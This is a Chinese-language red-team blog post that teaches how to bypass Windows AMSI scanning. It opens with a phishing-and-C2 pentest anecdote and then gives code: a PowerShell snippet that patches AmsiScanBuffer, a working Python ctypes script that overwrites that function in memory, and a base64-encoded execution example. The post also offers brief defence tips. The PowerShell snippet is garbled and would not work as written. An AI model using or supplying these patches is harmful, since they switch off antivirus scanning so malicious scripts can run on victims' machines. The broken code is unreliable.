一、一次被AMSI坑住的渗透实战经历

有一次,我在一个授权的渗透测试项目中,目标是某家企业的内部网络。通过前期的社工邮件和钓鱼链接,我设法让一名目标员工执行了我的初始载荷,成功拿到了一个低权限的shell。一切看起来进展顺利,但当我尝试加载后续模块(如PowerShell脚本)时,事情变得棘手了——Windows Defender立刻弹窗报警,脚本被拦截,我的C2连接也被断了。

问题的根源很快找到了:AMSI(Antimalware Scan Interface)。这是Windows用来检测脚本内容的实时防护机制,PowerShell和VBScript等脚本语言的内容在执行前会被AMSI拦截并扫描。对攻击者来说,AMSI是一个大麻烦,绕过它是提升攻击成功率的关键步骤。

这次实战让我意识到,绕过AMSI是每一个红队成员的必修课。所以今天我来分享几种常用的AMSI绕过技术,从底层原理到实战技巧,带你逐步搞定这个问题。

---

二、AMSI到底是什么鬼?

在深入技术之前,先简单说明下AMSI的原理和为什么它这么烦人。

AMSI如何运作?

AMSI是微软从Windows 10开始引入的一个接口,旨在加强对脚本语言的安全检测。它的工作流程如下:

  1. 拦截脚本内容:当脚本被执行时,内容会被AMSI拦截并发送给注册的反病毒软件(如Windows Defender)进行扫描。
  1. 扫描脚本内容:AV引擎根据特征规则或机器学习算法来判断脚本是否恶意。
  1. 执行或拦截:如果脚本被标记为恶意,AMSI会阻止其执行并弹出警告。

这意味着,即使你的脚本是加密的,只要它在运行过程中解密为明文,AMSI仍然能检测到攻击代码。

为什么绕过AMSI这么重要?

对于红队来说,主流攻击技术(如invoke-obfuscation、Empire、Cobalt Strike的PowerShell模块)都很依赖脚本。而AMSI很可能在关键时刻“砍断”你的攻击链,使得后续操作无从施展。

绕过AMSI就是为了让我们的恶意代码成功执行,而不被拦截和检测。接下来的部分,我会从基础到进阶,讲解几种绕过AMSI的实战方法。

---

三、最简单的绕过:禁用AMSI

原理和限制

最直接的做法是直接禁用AMSI的功能。AMSI的核心功能由系统DLL实现(amsi.dll),我们可以通过修改DLL内的关键函数(如AmsiScanBuffer)来实现绕过。

不过,这种方法的局限性也很明显:需要修改系统行为,可能触发更多的安全检测,因此不建议在高安全防护的环境中使用。

实战代码

以下是一个简单的PowerShell脚本,通过修改内存中的AmsiScanBuffer函数实现AMSI禁用:

<pre><code class="language-powershell"># AMSI禁用脚本

获取amsi.dll模块句柄

$amsiDll = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer( ([System.IntPtr]::Zero), [System.Reflection.MethodInfo] )

黑客示意图

定位AmsiScanBuffer函数并修改其字节

[Byte[]] $patch = @(0x31, 0xC0, 0xC3) # XOR EAX, EAX; RET [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $amsiDll, $patch.Length)

Write-Host &quot;AMSI已禁用!&quot;</code></pre>

测试: 在执行上面的代码后,尝试运行一个恶意的PowerShell脚本,应该不会触发AMSI检测。

---

黑客示意图

四、隐蔽性更强的绕过:动态内存修改

直接禁用AMSI的方法虽然简单,但很容易被防护系统检测到。一个更隐蔽的技巧是通过内存修改动态绕过。

原理和步骤

我们可以通过以下步骤实现动态内存修改:

  1. 查找amsi.dll模块的基地址;
  2. 定位AmsiScanBuffer函数的内存地址;
  3. 通过内存写入技术修改关键字节。

Python实现

下面是一个使用Python的绕过脚本:

黑客示意图

<pre><code class="language-python">import ctypes from ctypes import wintypes

定义一些核心函数

kernel32 = ctypes.WinDLL(&#039;kernel32&#039;, use_last_error=True) amsi_dll = ctypes.WinDLL(&#039;amsi&#039;, use_last_error=True)

获取模块基地址

def get_module_base(module_name): h_module = kernel32.GetModuleHandleW(module_name) if not h_module: raise ctypes.WinError(ctypes.get_last_error()) return h_module

获取目标函数地址

def get_proc_address(module_base, func_name): func_addr = kernel32.GetProcAddress(module_base, func_name.encode(&#039;utf-8&#039;)) if not func_addr: raise ctypes.WinError(ctypes.get_last_error()) return func_addr

修改内存

def patch_memory(addr, patch): size = len(patch) old_protect = wintypes.DWORD() kernel32.VirtualProtect(addr, size, 0x40, ctypes.byref(old_protect)) # 设置内存可写 ctypes.memmove(addr, bytes(patch), size) kernel32.VirtualProtect(addr, size, old_protect.value, ctypes.byref(old_protect)) # 恢复保护

主流程

if __name__ == &#039;__main__&#039;: module_base = get_module_base(&#039;amsi.dll&#039;) func_addr = get_proc_address(module_base, &#039;AmsiScanBuffer&#039;) print(f&#039;AmsiScanBuffer地址: {hex(func_addr)}&#039;)

Patch指令:mov eax, 1; ret

patch = b&#039;\xB8\x01\x00\x00\x00\xC3&#039; patch_memory(func_addr, patch) print(&quot;[*] AMSI绕过完成&quot;)</code></pre>

---

五、加密与混淆:让AMSI“眼瞎”

有时候,直接修改内存可能不太现实。另一种绕过思路是对恶意代码进行加密或混淆,使AMSI无法识别其内容。

使用base64编码

以下是一个简单的例子,将恶意脚本base64编码后,再动态解码执行:

<pre><code class="language-powershell"># 原始脚本 $script = @&quot; Write-Host &quot;这是一个测试脚本!&quot; &quot;@

Base64编码

$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($script)) $command = &quot;powershell.exe -enc $encoded&quot;

Invoke-Expression $command</code></pre>

---

六、如何防御这些绕过技术?

作为红队成员,我们的责任不仅仅是攻击,还要帮助客户提高防御能力。以下是针对这些绕过的防御建议:

  1. 加强内存保护:通过EDR工具监控内存修改行为。
  2. 启用脚本限制:禁用PowerShell或强制设置为受限模式。
  3. 日志分析:分析事件日志,识别可疑的脚本执行行为。

---

七、经验总结

在我的实战经验中,AMSI绕过是一个不断演进的领域。攻击者和防御者之间的斗争永远不会停止。作为红队人员,最重要的是保持学习和探索的态度,及时掌握最新技术,以便应对不断升级的攻防对抗。

声明:本文仅限于授权的安全测试场景,切勿用于非法用途,否则后果自负。